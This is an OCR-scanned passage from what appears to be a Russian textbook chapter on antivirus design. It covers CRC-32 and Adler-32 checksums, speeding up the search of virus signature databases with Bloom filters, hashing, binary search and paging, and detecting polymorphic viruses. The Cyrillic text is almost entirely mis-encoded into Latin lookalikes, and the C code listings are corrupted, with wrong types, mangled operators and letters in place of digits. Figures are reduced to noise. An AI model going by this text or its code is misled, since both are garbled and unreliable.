(|)HilfieHTaMn. B KaMecTBe KOHTpojibHoro Koaa ncnoJib3yeTC5i ocTaTOK o t  
flejieHHH 3Toro nojineoMa Ha 6ojiee KopoTKHH <stiopo3KdaK>iu,uu» hojiuhom, 

hmcioiuhh fl.>iHHy N  6htob. TexHHKa aejieHHH TaKOBa: 1) b kohbu 6jioKa 
flaHHHX ao6aBJiaeTCH N ~1  HyJieBbix 6htob; 2 ) BMecTo apH(J)MeTHMecKoro 
fleJieHHH ncnojib3yeTai oriepamifl «cjio5KeHne no Mo/iy/iio 2 »; 3 ) cjioace- 
HHe c «JieBbiMH» nyjiHMM npoMeacyroHHbix ocTamoB He np0H3B0jHTca.

IIpHMep. McxoflHHe aaHHbie: 1010. « r io p o *7iaioiunH» ho^hhom: 1001. 
ZIonojiHHTeJibHbie 6htm: 000.

1010000 | 1001 
1001 

1100 
1001
1010
1001 

11 <- CRC
B KayecTBe ziejiiireJiH Bbi6HpaiOTCfl He jno6bie iicnoMKii 6htob, a Te 

H3 hhx, KOTOpbie COOTBCTCTBJTOT -«HenpnBOflHMbiM» ( t o  ecTb He pac- 
JoiaAUBaeMHM Ha com h o*h tc jih ) nojiHHOMaM. Hanpimep, nun C R C -16 
Hcnojib3yioTcji nojiHHOMbi 0x1021 n 0x8005, a bo mhctmx CTanaapTax 
cbh3h jxnx C RC-32 3acf)HKciipoBaHbi 0 x 0 4 C llD B 7  h ero « 3epKajibHoe 
OTpajKeHHe* 0xEDB88320. CpaBHHTejibno HeaaBHHe HCCJieaoBaHHH no- 
Ka3a.xn BbicoKoe icayecTBo noJiHHOMOB 0x lE D C 6F41, 0x741 B8CD7 h 
0X814141AB1. KpoMe Toro, HHoraa npHMemnoTca C RC -48  n CRC-64. 
Hepe^KO b CTaH^apTax Ha MeTo^bi BbiHHCJieHHH C R C  ynoMiiHaraxcH flo- 
no.THiiTe.TibHbie onepauHH, TaKHe KaK, HanpHMep, HHBeprapoBaHne 6h- 
tob  pesyjibraTa. Pacno3HaiouiHx cbohctb MeToaa s to  He yjiynmaeT, ho 
JiHuib ynpomaeT annapaTHyio peajnoaunio ajiropHTMa b CBH3HOM 060- 
pyaoBaHHH.

CymecTByroT KaK nporpaMMHbie pea;iH3auHH, 0CH0BaHHbie Henocpe/i- 
CTBeHHo Ha aejienHH «yro;iKOM» (npiiMep Ha asbiKe AcceM6jiepa mo?kho 
HaiiTH b rjiaBe. nocBHUieHHoft Win32-BHpycaM), TaK h onniMH3HpoBaH- 
Hbie no ckopocth -  6;iaroflapa aiBnry cpa3y Ha 8 ohtob h itcn0Jib30Ba- 
hhk) Ta6jinqbi KoppeKTHpyromiix KoacfxJjHHHeHTOB. Bot npHMep peajni- 
3aiiHH fljia « 6bicTporo» Bbi4Hc;iemiH CRC-32.

' B 3anHCM Bcex i io j ih h o m o b  onymeH cTapuiHH 6ht, KOToputt 06a3aieJibH0 pa- 
BeH 1.
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/*  PaOM0T TaSJlMUU KOppeKTiipyOlllMX KOSWtHUMeHTOB * / 
tn a k e _ c rc ta D le (  v o id  ) { 

i n t  i ,  j ;  DOUBLE r; 
f o r  ( i  = 0 ;  i  <= 255; i+ + ) ( 

r  = i ;
f o r  ( j  = 8; j  > 0; j  — ) i f  ( r  & 1) r  = ( r  »  1) “  OxE0B8832O; e ls e  r  » =  1; 

c r c t a b l e [ i ]  = r ;

i
i

/«  PacMeT CRC-32 ana Syifcepa b u f an whom le n  * /

DOUBLE c r c 3 2 (u n s ig n e d  c h a r  * bu f, DOUBLE le n )  {
DOUBLE c r c  = O xFFFFFFFF;
w h i le  ( l e n - - )  c r c  = ( c r c  »  8 )  ~ c r c t a b l e [ ( c r c  ~ *buf++) & O xFF]; 
r e tu rn  c r c  ~ O xFFFFFFFF; / /  Ann oS/ierMenua annapaTHOfi pea/iH3auKH

1

IlyTH ycKopeHHH pacqeTa CRC CBH3 aHbi c «p a 3 BopaHHBamieM» uhk - 
jio b  hjih  Hcn0Jib30BaHHeM eflHHOBpe.MeHHoro caBHra Ha 16 6 h to b  (mto  

noTpe6yeT yBejnraeHHX Ta6 j i im u  KoppeKrapyiom HX K03c{xJ)HUHeHT0B).
H eiu ioxo ft aJibxepHaniBoft a  jih CRC hbjih iotch  jcoHTpojibHue cyMMbi, 

paccMHTaHHbie n o  ajiropiiTM y M apK a Azviepa. O h h  TaioKe npejiCTaBJinioT 

co 6 o h  3 2 -6 h to b h h  «flaHfl3KecT* 6 ;ioKa aaHHbix.

( (d e f in e  BASE 65521 
( (d e f in e  NHAX 5552
((d e f in e  0 G l ( b u f , l )  { s i  += b u f [ i ] ;  s2  += s i ; >
( (d e f in e  D 0 2 ( b u f , i)  D O I ( b u f . i) ;  D 0 l( b u f , i+ 1 );
( (d e f in e  D 0 4 ( b u f , i )  D 0 2 ( b u f , i) ;  D 0 2 (b u f, i+ 2 );
( (d e f in e  D 0 8 ( b u f , i)  D 0 4 ( b u f , i) ;  D 0 4 (b u f, i+ 4 );
( (d e f in e  D 0 1 6 (b u f)  D 0 8 (b u f ,0 ) ;  D 0 8 (b u f ,8 ) ;
( ( d e f in e  KOD(a) a %- BASE
/ *  PacneT  « /c  AflJiepa ftno 6y$epa b u f jyiKHOii le n .  [lepB0H3Ma/ibH0 a d le r  = 1 «/
DOUBLE a d le r3 2 (D 0 U B LE  a d le r ,  u n s ig n e d  c h a r  * b u f, DOUBLE le n )  {
DOUBLE s1  = a d le r  & O x f f f f ;

DOUBLE s2  = ( a d le r  »  16) & O x f f f f ;  i n t  k; 
w h i le  ( le n  > 0 ) { 

k = le n  < NMAX ? ( m t ) l e n  ; NMAX; le n  -= k; 
w h i le  ( k  >- 16) { D 0 1 6 (b u f) ;  b u f += 16; k  -= 16; ) 
i f  ( k  ! = 0 )  do { s i  += *buf++; s2  += s i ;  } w h i le  ( — k );
M 0D (s1 ); H 0D (s2 );

>
r e tu r n  ( s 2  «  16) | s1;

}

AjiropHTM  AflJiepa BbinojiHaeTCH HecKOJibKO 6 bicTpee, neM CRC, ho  

o 6 ecneHHBaeT 6 ojiee BbicoKyio BcpoaTiiocTb KOJiJiH3HH, 0 C0 6 eHH0 Ha ko- 
poTKHx Ha6 opax  aainibix.
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7.4.4. Bonpocbl 3<|>4>eKTMBHOCTM
PaHee HeoflHOKpaTHO oTMeHajrocb, h to  ozihhm H3 BaacHemiiHX KpHTepneB 
KanecTBa coBpeMeHHoro aHTHBHpyca HBJineTCH acJwjxiKTHBHocTb Hcnojib- 
30BaHHH BblHHCJIHTeJIbHbIX pecypOOB. PeHb H/ieT O 6bICTpo/ieHCTBHH, Tpe- 
6oBaHHHM K flHCKOBOH H OIiepaTHBHOH naMHTH H T. n. Ha MOMeHT HanH- 
CaHHH 3THX CTpOK H3BCCTHbI HeCKOJIbKO MHJIJIHOHOB pa3H0BIlflH0CTeH 
BpeaoHocHbix nporpaMM, c;ieflOBaTeJibHO, aHTHBHpyc b o6meM cjryHae 
BMHyacaeH BbinoJiFMTb TaKoe jkc kojihhcctbo /teTeKTnpyromnx onepaiiHH 
(HanpHMep, cpaBHeHHH curHaTyp) no othoiuchhiok Ka*flOMy (|5aHJiy. He- 
yaHBHTeJIbHO, MTO aHTHBHpyCHblH MOHHTOp Cn0C06eH BbI3bIBaTb MHOTO-
ceKVHaHbie 3aaep»cKH npn KOHTpojie AocTyria k (JjaftjiaM, a aHTjiBHpy chhh 
CKaHep -  3aTpaHHBaTb flecHTKH nacoB Ha npoBepKy /iHCKa. /Ioiimo ao Toro, 
mto THnHiHbifi ii0Jib30BaTeJib npn noKynKe Bbi6HpaeT He t o t  aHTHBHpyc, 
KOTOpbiH «3HaeT 6ojibiue» hjih «JieHHT jiyMiue», a to t, icoTopbiH «pa6oTaeT 
6bicTpee».

Haflo cpa3y  oroBopHTbcn, hto b  co BpeMeHHbix ycJioBHHx yaoBJieTBo- 
pHTe./ibHoro pememtH npo6jieMbi, no-BHziHMOMy, He cymecTByeT. CoBpe- 
MeHHan aiiTHBHpycnaa peajrasarjHH -  s to  KJiy6oK KOMnpoMHCcoB: o/ihh 
np0H3B0/iHTejiH acepTByioT HaaeacHOCTbK) aeTeKTHpoBaraiH, apyrae -  
6biCTpoaeHCTBHeM, TpeTbH -  KOjiH'ieeTBOM pacno3HaBaeMbix BpeaoHOc- 
Hbix nporpaMM, HeTBepTbie -  B03M0»cH0CTbK) JieneHHH h t. n.

IIoaTOMy He 6yaeM copeBHOBaTbcn c anaepaMH HH/iycTpHH b  noroHe 
3a npH30M COMHHTeJIbHOH flOCTHJKHMOCTH. UonblTaeMCH paCCMOTpeTb 
ocHOBHbie HanpaBJiemiH onTHMH3auHH pa6oTbi Hec7io>KHoro aHTHBHpyca, 
Hcnojib3>iomero CHraaTypHoe aeTCKTnpoBaHHe.

HTaK, 3aaana cTaBHTca cjieayiomHM 06pa30M. Hmbiotch flBe Ta6jiH- 
Hbi (6a3bi ziaHHbix) c aarmcHMM. co/tepacaiUHMH flBa aTpHovra: «no3HmiH 
b (f)aiiJie» h «cHrHaTypa nocToanHofi ;yiHHbi». HepBaa Ta6jnma -  Moaejib 
TecTHpyeMoro (f)aHJia, BTopan -  Ha6opa BHpycHbix cHrnaTyp. LIe;n> noHc- 
Ka: jihoo H3HTH e^HHCTBeHiiyro 3anncb, BCTpeyaiomyiocH cpa3y b o6eiix 
Ta6jimiax, jih6o yaocTOBepnTbca b otcv tc tbh h  TaKOBOH. Heo6xoaHMo 
yZIOBJieTBOpHTb JIByM B3aHMH0-np0THB0peHHBbIM Tpe6oBaHHHM: 1) MH- 
HHMH3HpoBaTb BpeMH noncKa b HaHxyameM cjiylfae ( t o  ecTb Kor^a nepe- 
ceneHHH HeT); 2 ) MHHHMH3HpoBaTb pa3Mepbi 6a3.

Kcrara , mojkho cxaBHTb nepea co6oh ii apyrne 3a;taHH onTHMH3aunn: 
HanpHMep, VMeHbmeHHe «cpeflnero » BpeMeHH noncKa. TaKOil aHTHBHpyc 
oyaer necK0,ibic0 6bicTpee pa6oTaTb npn CKaHHpoBaHHii BHpycHbix koji- 
jieKUHH ( t o  ecTb b ciiTyanHH, icor/ia juoooi-i npoBepneMbm cjjan.n o»H3a- 
TejibHo HeM-iinfiy/jb 3apa>Ken), ho no-npe«HeM y oyaeT flojiro upoBepHTb 

HOCHTeJiH, Ha KOTOpwx upoueiiT sapaaceHHbix 4;aiiJioB HeB&niuc. B no,ao6-
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H o ro  p oa a  «M yxJieBaH H H» 6 m ji b  1997 r. y jm n eH  aHTHBHpyc DrSolomon, 
pery jiH pH O  rio6eacz(aBiunft c b o h x  KOHKypeHTOB Ha «copeBHOBaHHHX», h o  

HHHeM  He BW/ie.aaBiiiHHCH n p n  pery jm pH O H  p a6 oT e  Ha o6m h h m x  n0Jib30- 

BaTejibCKHX KOMnbRDTepax. H ac n oao6H b ie  «,aocTH>KeHHH» npe iibm aTb  He 

flOJIJKHbl.

MTaK, nepBaH T ao jiH qa  -  s t o  TecTw pyeM biii cJk ih j l  A rp H 6 y T  «n o 3 H m if l»  

B HeM (J>H3HHeCKH OTCyTCTByeT, a HenOHKH 6aHTOB, COOTBeTCTByromHX pa3- 

j ih h h h m  4>aMOBbiM cMemeHHHM, H rpa ioT  p o jib  a T p n 6 }T a  «c H m a T y p a » .

BTopan Tao.THiia -  s t o  cnpaBOHHan 6a3a BHpycoB. B  Hew yHHKaJibHbi 

T o jib K o  napw «n o3 H iiH fl+C H rH aT yp a », h o  no oTAejibnocTH  h  «no3H U H H », 

h  «C H rH a T yp u » M oryT  BCTpenaTbcH H e0aH0KpaTH0. H a <J>H3HHecKyio 

C TpyK Typy s t o h  6a3bi n oK a  He HaKJiaflbiBaeTCH HHKaKHX orpaH H H em iH , h o  

HMeHHo e e  m u  oya eM  onrHM H3npoBaTb.

C ym ecT B yeT  /lOBOJibHO m h o t o  nanpaBJieHHii orrraMHaaiiJiH , KOTOpbie 

M o r y r  npHMeHHTbcn KaK n o  oTflejibHOCTH, TaK h  b  KOMiuieKce.

7.4.4.1. Bu6op (paivioebix no3uu,uu
CHanajia nonbrraeMCH MHHHMH3HpoBaTb 6bicTposeiiCTBHe aH TH Biipyca 

3a cneT yM eHbiuem w pa3M epa nepBoft, « (f)a iiJ i0B0H » 6a3bi /taHHMx. Penb 

H fie r  o  tom, hto6m  HCKaTb «CHrHaTypbi» b ( ja i i j ie  He Be3/ie, a TojibKo b H3- 

6paHHbix no3HUHHX. K coacajieHHio, npiiMeHeHHe «MeTOfla n-rpaMM» npn  

Bbl6ope «XOpOUIHX» CHTHaTyp, nO-BHmHMOMy, npHBOflHT K Heo6xOflHMO- 

c th  noncKa CHTHaTyp no caMBiM pa3Hoo6pa3HbiM cMemeHHHM b 4>aHJie. 
B  xyarneM  c jiyn a e  Bee 3 th  CMemeHHH oKaacyTcn pa3;iHHHbi, h  aHTHBHpy- 

cy npnmeTCH CHHTbraaTb ziaHHbie H3 CTojibKHx pa3Hbix no3HijHH b (Jjaiijie, 

CKOJLbKo 3 an n ce « b  ero  cnpaBOMHOH 6a3e. XaaHHbiM KOMnpoMHccoM 6mjio 

6u  Hcn0flb30BaHHe juix Bw6opa (h  noHCKa) CHTHaTyp KOHeMHoro HMCJia 

4>aiiJiOBbix no3HUHH, HanpHMep B cero  Tpex: 1) Hanajio c^aii/ia (h jih  Tejia 

BHpyca, h jih  KOflOBOH ceKUHH nporpaMMbi, h jih  noTOKa b flOKVMeHTe); 

2) KOHen; 3) qeirrpa jibH aH  n o3H iy iH  M eacay H anajioM  h kohuom . / tp y ro il 

BapnaHT -  BBeseHHe aH CK pem oro  paaa CMemeHHH: 0, A, 2 A , r^ e  A -  He- 

khh HHTepBaji, KOTopuH 3aBHCHT o t  juiHHbi BHpyca V. Mojkho, HanpiiMep, 
noJioaaiTb A =  V/100, h Toraa ajih Jiro6oro BHpyca Bceraa HMeTb pobho 
Q  =  100 pa3JIHHHbIX n03HUHH, H3 KOTOpWX MOiyT CHHTblBaTbCH IICnOMKH 

6aiiTOB -  noTeHHHaJibHbie cnrHaTypbi. 3 to  03HanaeT, h to  npn iiomoihh  

«MeToaa n -rp aM M » 6yaeT ocymecTBJiHTbCH Bbi6op H3 He6ojibiiioro kojih - 

HecTBa CHinaTyp, pacnojiojKenHbix b  3apaHee onpeaejieHHbix 4>aHJioBbix 
no3HUHHX. BnponeM, cjihiiikom MajieHbKHM s to  hhcjio Toace He aojkkho  

6birb, HHane M H orae «noxo>KHc>> BHpycbi (HanpHMep, npHHazyiejKamne 

0/iH0My ceMeHCTBy) MoryT oKasaTbca Hepa3JiHHiiMbiMH.
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/lajibHeHiiiHe paccy>K/teHHa npoiiJi/nocTpHpyeM Ha npnMepe MajieHb- 
khx Ta6.Jinu, MOflerapyromHX N  = 6 pa3JiHHHbix BHpycoB. «Ko/ih» sthx  
BHpyCOB 4>OpMHpyK>TCfl BCeTO H3 Tpex pa3JIHHHHX 6aHTOB (chmbojiob): 
‘A ’, ‘B ’ h ‘C ’ . 3aimcH, BHeceHHHe b aHTHBHpycHyio 6a3y, Bbi^ejieHW (cm. 
pnc. 7.31).

ABCBC
IT a b c I 
2 (BOB J

(BMpyc>>BBCBC
BUKfSR

CCBCB ABCAB
1 CCB i 11 Iab c  j
2 CBC ^ ^ ■ 2  BCA I
i t l t w a I (3 1 CAB!

BCBAC
N I b c b

ABCBA
f V S c i

CBA 2 BCB
CBA ]

Pmc. 7.31 ❖ «Ta6nnHHbie» MOAenn 
oTflenbHbix BHpycoB

PasyMeeTca, npome Bcero ctJjopMiipoBaTb «aHTHBHpycnyto» 6a3y, pa3- 
MecniB b Heft 3airacH b tom n o p a f lK e ,  b KaKOM H3HanajibH0 6hum  nepe- 
HHCJieHbi BjipycH ( c m . pnc. 7.32).

^ — :—  
_XCwrH8Typw>

Pmc. 7.32 ❖  «Ta6jiHHHan» MOfle/ib 
aHTMBMpyCHOM 6a3bl

Ybh, npn TaKOH oprammuHH aHTiiBiipycHOH oaarj B03M03KeH Tojibico 
nocjieflOBaTejibHbiH noiiCK: 6paTb 3arracb H3 oahoh rao/muM h cpaBHti- 
BaTb ee co BceMH 3armcHMH H3 btopoh xaojmubi, I I otom 6paTb cjieAyro- 
myio 3amtcb... 3aTeM eme oany... h t . j i .  -  a o  r e x  nop, nona He ooHapyacHT- 
cn coBnafleHHe aannceft jihSo 3annciJ b o6enx Tao.mnax He tfCHepnaiOTCtf. 
HeTpyflHO y 6ez(HTbca, hto noziooHbiH noaxoa oqeHb npocT b pea/maaiiHM, 
HO HCKJHOHHTe-XbHO HepauiioHajfeir.

Bnpo'ioM, earn 3apaHee H3BecTHo, hto KOMnbioTep 3apa3KeH, to  mo>kho 
ynopaaoHHTb 3anncsi b «airmBMpycHOH«> 6a3e b cooTBeTCTBHH c <<aicrya/ib- 
HOCTbK>» BHpycoB, HanpHMep 3anHCH o Go.rsec coBpeMeHHbix h name
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BCTpenarouiHXCfl pa3H0BHaH0crax pa3MecTHn> b  naiajie TafijiHUbi. Toraa -  

b cpe/tHeM -  noHCK 3anHceii 6yaeT nponcxoaHTb 6bicTpefl, h o  b xyauieM 
caynae Bee paBHo noTpe6yeTCH Q  x  jVcpaBHeHHH.

H an 6ojiee o6ui,hh noaxoa k ycicopeHHio noncKa 3aKJiioHaeTcfl b  n p n - 

MeHeHHH to h  hjih  HHott pa3H0BHflH0cra «MeToaa BeTBefi h  rpaHHUK CyTb 
3aKjnoHaeTCH b 0TKa3e o t  nojm oro nepe6opa BapHaHTOB b noJibay pac- 
CMOTpeHHH TOJIbKO TeX n0aMH0>KeCTB, BHyTpH KOTOpbIX MO>KeT HaxoflHTb- 
CH HCKOMOe. I IpHMeHeHHe 3T0T0 MeToaa npHBOJIHT K «/lpeBOBH/lHUM» ajl- 
ropHTMaM noHCKa h  CTpyKTypaM  aaHHbix.

7.4.42. Oiuibmp Ejiyjm
3 t o  MeToa xeuiHpoBaniiH, iio3bojijiioihhm cpa3y 0T6pacbiBaTb 3anHCH, 

oTCyTCTByiomHe b BHpycHoft 6a3e aaHHbix. Maea 3aKJiK>yaeTCH b tom, hto- 
6bi BMecTe c 6a3oit aaHHbix, coaepacameii iV3araicefi o BHpycax, xpaHHTb 
« 6HTQByio KapTy» -  MaccHB H3 M  nepBOHanaabHo o6HyjieHHbix 6htob. 
I lp H  ao6aBaeHHH k 6a3e hoboh curaaTypu nun  Hee paccwrbiBajoTca K  

pa3aHHHMX xenx-(|)yHKUHH, h B «KapTe» j'CTanaBJiHBaioTCH b «1 * K  6h- 
to b 1. HnaeKcaMH (aapecaMH b KapTe) /pra sthx 6htob hbjihiotch 3HaHemiH 
paccHHTaHHbix xemen. B Hrore nocae 3aBepiueHH» co3aaHHH 6a3bi «Kap- 
Ta» 0Ka3biBaeTCH 3ano.iiHeHa nepeMemaHHbiMH 3iiaMeHimMH h «1 ».

Pmc. 7.33 ❖  On/ibTp EnyMa

B npouecce aeTeKTHpoBaHHH aaa npoBepHeMofi qenoMKH 6aHT0B CHOBa 
paccHHTUBaeTCH Ha6op HHaeKcoB h npoBepaeTca, Bee aH cooTBeTCTByio- 
mne 6htm b 4icapTe» ycTaHOBJieiibi b «1 » . IlbrraTbcn h a lira  npoHirraHHyio 
H3 cjjaiiaa uenoMKy 6aHT0B cpean ciiraaTyp 6a3bi aaHHbix HMeeT cwbica 
aHUIb npn OTCyTCTBHH paCXOJKaeHHH. Ecjih XOTH 6bl OAHH H3 «aapeCOB» 
yKa3WBaeT Ha «0 »-6 iit , 3HaMHT, cooTBeTCTByiomefi uenon kh 6aiiT0B (cnr-

1 PaayMeeTca, K  a o jr a m o  6 h t b  w e H tm e , le .v i M .



548 ❖ OnAococ)x:Kne h MareMBTMHecKHe acneKTbi

HaTypbi) b 6a3e 3aBe/i0M0 HeT, a  HCKaTb ee He ctoht. BnponeM, nonasa- 
HHe HCKJiioHHTejibHo b «1 »-6h tm  TO»ce He 03HanaeT, hto curaaTypa b 6a3e 
06a3aTe.n:bH0 npHcyrcTByeT. OHa Bcero jmiub «Mo»ceT BcrpeTHTbca». Be- 
poHTHocTb npoMaxHVTbca h He o6Hapy»cHTb cnraaTypy b 6a3e cocTaBJia- 
eT P  =  (1 -  1 /M y ° v ~  e -KN/M. OnTHMajibHoe kojihhcctbo xem-cfiyHKUHH, 
paccnHTWBaeMHx fljia KaacaoH CHTHaTypw K  =  In  2 x  M / N  ~  0,7M / N ,  ho 
h MeHbiuee KOjmnecTBO He chjimio yxyam iiT noTpeoH'rejibCKHe cBoncTBa 
4>HJibTpa. Bojiee Toro, HMeeT cmhcji Hcn0Jib30BaTb HacTOJibKO MajieHbKne 
« 6HTOBwe KapTbi*-. h to6m ohh neJiHKOM yMemaJiHcb b icaiiie npoueccopa. 
B KanecTBe »ce xeiu-(J)yHKiiHH oobrm o HcnoJib3ytoT npHMHTHBHbie h He- 
Hase»cHbie, ho 6h ctpo  BbraicjiHMbie KonTpojibHbie cyMMbi. HanpHMep, 
mo^cho:

O  ecjin CHraaTypa npeacTaMaeT co6oh CTpoKy, to  CK0M6HHiip0BaTb 
Bee 6aHTbi cHraaTyphi b e^HHoe qejioe hhcjio no npaBHJiy, npe/uio- 
>KeHHOMy B. KepHHraHOM h JX. Phthh [15]:

int calc_nuiT:( char * buf, int L, m t  a) i // a - npocToe yejioe 
int Sum=buf[0];
f o r  ( i = 1 ; i< L ;  i + + )  Sum=a*Suni+Buf [ i ]  

r e tu rn  Sum;

};

O  paccHHTWBaTb 3HaneHHa xeuia fljia SToro HHCJia no penem y 
/I. KHyra [18]:

h_bloom = calc.nuiC "abrakadabra", strlen("abrakadabra"), a)%K; / /  OcTaTOK

B KanecTBe a  6epyT Jiio6bie npocTbie HHCJia (HanpiiMep, a =  31, 37, 41, 
...), a B KanecTBe K  -  Toace npocToe, ho djiHacaiiiiiee k ero oriTHMajibHOMy 
3HaneHHio. HTaK, 4>HJibrp BjiyMa n03B0JiaeT 6biCTpo npHHaib pemeHHe -  
HMeeT jih cMbic.n HCKaTb nenoMKy 6aHT0B, npowraHHjTO H3 cjjaftjia, hjih 
ee b 6a3e CHTHaTyp saBezioMo HeT.

7.4.43. Memod nojioeuHnozo dejientm
CymecTBeHHO ycKopHTb noHCK no3BojmeT «/ihxotomhh» («noJioBHH- 

Hoe /iejieHHe»-) jieKCHKorpa^nnecKH ynopaaoneHHoft xa6jiHHbi c npoHy- 
MepoBaHHHMH no nopasKj' 3anHcaMn‘ (cm. pnc. 7.34).

Ecjih H3BecTHO, hto apryMem noncKa MeHbiue cpejiHero KJirona b Tao- 
JiHue, to  mo»cho He npoBepHTb axeMeHTbi b zujarra30He o t  sxoro cpe/inero h 
ao KOHqa TaoJiHUbi. HcxoflHaa Ta6jinna oKaaceTca pa3/ieJiena Ha ;iBe npn-

1 B c o c T a B  K ju o n a ,  n o  K O T o p o M y  B H n o jiH n e T C H  y n o p a a o H H B a H H e ,  b x o j ih t  H e  t o j i b - 

k o  C H ra a T y p a ,  h o  h  e e  ir c w H W ia .
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( jj  3l CBC
(5. 3 CBA
(4! 3 BCB
(3. 2 CBA
2  2 BCA
X  1 BBC

Phc . 7 .34 ❖  ynopnfloseHHafl
TaSnnua curHaTyp

MepHo paBHbie nacTH, b ohhoh H3 kotophx  3aBea0M0 Haxo/mTca HCKOMaa 
3anHCb. 3Ty «noJioBHHy» MoacHo BHOBb pa3aeJXHTb nonoJiaM no cpe/tnen 
3anncH h t. a., noKa jih6o HCKOMaa 3anncb He 6 y jie i o6Hapyacena, jih6o He 
6yaeT AOK33aHo ee OTcyTCTBHe.

i n t  b s e a r c h ( in t  *a, i n t  n, i n t  x )  { / /  TipMwep noncKa sneMeHTa x b M accuBe a [ i . . n ]  
i n t  m, lt^ O , r t= n -1 ; 
w h i le  ( 1 )  {

i f  ( l t > r t )  r e tu r n  -1 ; / /  H tw ero  He naisfleHO 
m = ( lt+ r t ) / 2 ;
i f  (a[m ]==x) r e tu r n  m; / /  Hom sd  HaftfleHHoro s/ieMenra 
i f  (a [m ]< x) lt=m+1; e ls e  r t-m -1 ;

Boo6me, m u  noncKa mcto/iom «jimxotomhh»- b Ta6jmne, coaepacameft 
N  aJieMeHTOB, b xyaiueM cjiynae noTpe6yeTca He 6oJiee 1 +  lo g jN  cpaB- 
HeHHH. KcTaTH, HCn0-1b30BaB BMeCTO CTpOKOBblX CHrHaTyp KOHTpOJIbHhie 
cyMMbi o t  hhx, MoacHo He TOjibKo ycKopHTb caMy oriepamno cpaBHeHHH 

(Be^b Tenepb 6ya y r  cpaBHHBaTbca newbie HHCjia!), ho h cymecTBeHHo 

yMeHbuiHTb o6-beMw cnpaBOHHOH 6a3M aaHHbix.

7.4.4.4. Pa36ueHue na cmpaHuu,u
3 to  KomjenuHH, npeaycMaTpHBaroiuaa pa3,ziejieHHe Ta6jiHUbi no Kaico- 

My-jin6o npn3HaKy Ha HeaaBHCHMbie nacTH («cTpaHHHhi») h  noHCK Tojib- 
KO B HeKOTOpbIX H3 HHX.

HanpHMep, Han6oJiee ecTecTBeHHo pa3,aejiHTb Ta6jw uy  BHpycHoii 6a- 
3bl aaHHblX Ha OTfleJIbHbie CTpaHHUbl B 3aBHCHMOCTH OT 3HaH6HHH no JIH 
«no3HHHH» hjih  KOM6HHaijHH «no3HUHH+HaHajio_cHrHaTypbi». BHyrpH 
CTpaHHUM 3anncH ynopaAonenbi JieKcnKorpac|)HMecKH no 3HayeHHio itojlh 

«CHrnaTypa». TaKoii no^xo/i no3Bo.nnT CHHTbiBaTb hcjihkom  bcio cTpaHH- 
HV b naMHTb h HCKaTb b Heft nyacHyio aanncb mctoaom nojiOBHHHoro Aejie- 
h n a ,  H36eacaB .vmoroMHcjieHHbix o6pameHHH k hochtc jiio . Kpo\ie Toro, Ha 

KOMnblOTepe c HecKOJibKHMH nponeccopaMH (h jih  flapaMH b npoHeccope)
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m o*h o  6 y m r  cHHTbreaTb b naMHTb cpa3y HecKOJibKO crpamm h Bbinoji
HHTb noHCK napajuiejibHo.

JJjifi ycKopeHHfl flocTyna k  6a3aM aaHHbix, pa.36nThiM Ha crpaHHUbi, 
o6bWHO HcnoJibsyiOT «HHaeKCHbie Ta6jiH i[w», coflepacauiHe HOMepa CTpa- 
hhu h hx aapeca Ha HocHTeJie.

<% GTpaHW ^>-~ •

(J iip

(jQ pec sia3§>

— (DCTCh b b c !

2 BCA
2 CBA

3 BCB
3 CBA
3 CBC

HyMepayMsN 
^B^CTpaHMuey

Pmc. 7.35 ❖  HHAeKCHpoBaHHaq 
Ta6nnua cumaryp

B03M0MCHH h Jipyme KpiiTepHH pa36neHHH Ha CTpammu -  HanpHMep, 
no 3HaqeHHio nepBOH KOMaHflbiBHpyca: «J M P », «P U S H » ,  «C A L L »  h t. n. 
B stom  cjiyyae nocJie npoxrreHHH uenoHKH 6aiiT0B 113 nepBOH 4>aiiJioBoii 
n03HHHH M02CH0 Cpa3y HrH0pHp0B3Tb Bee BHpyCHbie 3aniICH, HaXOflH- 
IUHeCH B CTpaHHljaX, COOTBeTCTByKMUHX JlpVTHM <fBMpVCHbIM HaMaJiaM». 
H jih, ecJiH peHb hact o aeTeKTHpoBaHHH ceTeBbix h noMTOBWX HepBeH, 
MO»HO pa36HTb 6a3y flaHHbIX Ha CTpaHHUbl, COOTBeTCTByiOIUHe HCnOJIb-
30B3HH0My KOMniMHTopy: Visual C/C++, Borland C/C++, Borland 
Delphi, G N U  C/C++, LCC h t. n. Bo3Mohcho h pa36Hemie cTpaimu Ha 
6oJiee MejiKHe «noacTpaHnnbi». Ho npH stom cjie/iyeT HMeTb b bhjjv #Ba 
06cT0HTeJIbCTBa:

O njiaToii 3a ycKopeHHe noncKa hbjihkdtch cymecTBeHHue 3arpaTbi 
naMHTH Ha pa3MemeHHe imzieKCHMx Ta6jiHii;

O ycKopeHHe noHCKa aocTHraercH jinuib b -«coaJiaHCHpoBaHHbrx» #e- 
peBbHX, TO ecTb B Tex, B KOTOpUX Bee BeTBH H ypOBHH coaep^caT 
OflHHaKOBOe KOJIHHCCTBO « nO/lBeTBeH> H «JIHCTbeB».

CymecTByioT h apyrae, 6ojiee tiaompenHbie MeToau oiiTMMH3annn 
pa6oTbi aHTHBHpy cob, ho cymecTBeHHoro npnpocTa 6bicTpo,ieH ctbhh h 
yMeHbiueHHH 06ibeM0B cnpaBOHHbix 6a3 ohh He m a y r .  JXnsi /jeTeKTHpo- 
BaHiiH mhjijihohob pasJiHMiibix BHpycoB CHraaTypHhiii noiicK nepecTaeT 
owTb paniionaTbHbiM. Hyxaibi HHbie no/ixoiibi.
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7 . 4 . 5 .  l4 cn on b 3 0 B a H M e  cw rH a T y p

flJ lfl A eTeK TM pO B aH H fl n O lli1MOp<t}l1KOB

CHraaTypHUH noAXoa Bnojme npHMeHHM h ana  aeTeKTHpoBaHHH HeKO- 
Topjux pa3H0BHaH0CTeft nojniMopcffflbix BHpycoB. Ilpeayie Bcero Jiereo 
aeTeKTHpyioTCH nojiHMopcjjHue Bupycbi, nocrpoeHHbie no «K;iaccnne- 
ckoh cxeMe»:

O  0CH0BH0e Tejio 3auiH(J)poBaHo c nepeMeHHMM ioiiohom;
O <J)parMeHT pacmncJjpoBKH KOHCTpyHpyeTCH TaKHM 06pa30M, h to6h  

ajiropHTM ero pa6oTbi b pa3Hbix 3K3e.wri,rapax BHpyca coxpaHHJicn 
npe»cHHM, ho KOHKpeTHbie peajiH3auHii s to to  aJiropHTMa pa3jin4a- 
JIHCb.

TaKHe BHpycbi noHBHUHCb b HanaJie 1990-x roaoB, no noao6Hoft cxeMe 
nocrpoeHU noMTH Bee rio;inMopcf>HKH anoxn DOS-BHpycoB (HanpHM ep, 
